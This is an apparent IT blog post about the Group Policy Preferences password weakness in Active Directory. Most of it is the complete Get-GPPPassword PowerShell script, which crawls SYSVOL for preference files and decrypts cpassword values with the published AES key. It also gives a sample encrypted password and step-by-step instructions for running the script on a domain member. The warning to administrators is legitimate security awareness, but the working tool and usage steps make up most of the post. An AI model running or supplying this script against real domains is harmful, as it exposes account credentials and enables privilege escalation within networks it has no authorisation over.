Recover passwords in Microsoft active directory Group policy object
Becarefull about putting passwords in Microsoft group policy
I can remember the old
days that we use to use scripts for changing local administrator account password on all domain members PCs or
adding a user by scripts, it was a simple batch file with the net user command
but after a while Microsoft came out with the preferences in the group policy
and we were happy with that how easily we can add a new user or update one and
dealing with the password stuff!! yup
all of them are really good and the second one is easy to use but don’t forget security! putting
passwords in group policy is dangerous this is the thing that I always mention in the whole of my professional life in IT industry and still I can see it among different people, you know what people do not pay
attention to the alert! although Microsoft removed the ability to deal with password
in the preferences ,but even in the old
days when you wanted to configure the password stuff in the preferences there was an alert mentioning that this is a
security vulnerability,
in this post I am going to show you some information
gathering from different places about how insecure
the passwords are in the group policy even when they are hashed.
Every IT pro should
know that all authenticated users have read-only access to all the object in active
directory domain environment so all the
standard users can see the Group policy objects (GPO) in the active directory
as you know they are located in \\domain-name\sysvol and also if a
user can install the remote server administration tools (RSAT) on their
computers , they can see the GPOs from group policy management console GPMC!
So i know that you are thinking of passwords in GPOs ! yes
every users in the domian can read the passwords! yup but maybe they are
encrypted , the answer is yes and no 🙂 we should break this methodologies into
2 categories :
1-If you configure a batch file and want to apply it as a
script from GPO, definately the password is in the clear text and every one
inside your domian can see that .
2-If you use the preferences , when you follow the GPO in the SYSVOL folder you’ll see the password is encrypted in a XML file some thing like this :
<?xml version=”1.0″ encoding=”utf-8″?>
<Groups clsid=”{3125E937-EB16-4b4c-9934-544FC6D24D26}”>
<User clsid=”{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}” name=”LocalTestUser” image=”0″ changed=”2013-07-04 00:07:13″ uid=”{47F24835-4B58-4C48-A749-5747EAC84669}”>
<Properties action=”C” fullName=”” description=”” cpassword=”sFWOJZOU7bJwICaqvmd+KAEN0o4RcpxxMLWnK7s7zgNR+JiJwoSa+DLU3kAIdXc1WW5NKrIjIe9MIdBuJHvqFgbcNS873bDK2nbQBqpydkjsbsPXV0HRPpQ96phie6N9tn4NF3KYyswokkDnj8gvuyZBXqoG94ML8/jhe37eHJiZGyi5IBoPuCfKpurj2″ changeLogon=”0″ noChange=”0″ neverExpires=”0″ acctDisabled=”0″ userName=”LocalTestUser”/>
</User>
</Groups>
So there is a password filed and you can see the password is
hashed, yup but there is a minor problem with this method of encryption and the
problem is, the private key for this
password encryption is publicly announced by Microsft in MSDN:
https://msdn.microsoft.com/en-us/library/cc422924.aspx
So when we have the cipher
text(cpassword) that encrypted by
public key , then we can decrypt it by the private key which is available in
the MSDN , yes pretty simple definitely
we need some code here but if you search on the internet you can probably find
something I am going to share one of them
here :
open notepad , copy
and paste the below code into it and save it as Get-GPPPassword.ps1 name
function Get-GPPPassword {
[CmdletBinding()]
Param ()
#Some XML issues between versions
Set-StrictMode -Version 2
#define helper function that decodes and decrypts password
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error $Error[0]}
}
#define helper function to parse fields from xml files
function Get-GPPInnerFields {
[CmdletBinding()]
Param (
$File
)
try {
$Filename = Split-Path $File -Leaf
[xml] $Xml = Get-Content ($File)
#declare empty arrays
$Cpassword = @()
$UserName = @()
$NewName = @()
$Changed = @()
$Password = @()
#check for password field
if ($Xml.innerxml -like "*cpassword*"){
Write-Verbose "Potential password in $File"
switch ($Filename) {
'Groups.xml' {
$Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'Services.xml' {
$Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'Scheduledtasks.xml' {
$Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'DataSources.xml' {
$Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'Printers.xml' {
$Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'Drives.xml' {
$Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
}
}
foreach ($Pass in $Cpassword) {
Write-Verbose "Decrypting $Pass"
$DecryptedPassword = Get-DecryptedCpassword $Pass
Write-Verbose "Decrypted a password of $DecryptedPassword"
#append any new passwords to array
$Password += , $DecryptedPassword
}
#put [BLANK] in variables
if (!($Password)) {$Password = '[BLANK]'}
if (!($UserName)) {$UserName = '[BLANK]'}
if (!($Changed)) {$Changed = '[BLANK]'}
if (!($NewName)) {$NewName = '[BLANK]'}
#Create custom object to output results
$ObjectProperties = @{'Passwords' = $Password;
'UserNames' = $UserName;
'Changed' = $Changed;
'NewName' = $NewName;
'File' = $File}
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
Write-Verbose "The password is between {} and may be more than one value."
if ($ResultsObject) {Return $ResultsObject}
}
catch {Write-Error $Error[0]}
}
try {
#ensure that machine is domain joined and script is running as a domain account
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
throw 'Machine is not a domain member or User is not a member of the domain.'
}
#discover potential files containing passwords ; not complaining in case of denied access to a directory
Write-Verbose 'Searching the DC. This could take a while.'
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
if ( -not $XMlFiles ) {throw 'No preference files found.'}
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
foreach ($File in $XMLFiles) {
$Result = (Get-GppInnerFields $File.Fullname)
Write-Output $Result
}
}
catch {Write-Error $Error[0]}
}
> run as admin the PowerShell
in one of the domain members computer and
>check your PowerShell
execution policy by
Get-ExecutionPolicy command
the best setting is RemoteSigned
>if it is not this change it by the set-executionpolicy remotesigned
command
> change the directory to the location of
Get-GPPassword.ps1 file and
>run import-module .\Get-GPPPassword.ps1
>after that run Get-GPPPassword without any extension
Voala now excavate the
output and you’ll definitely find some useful information 🙂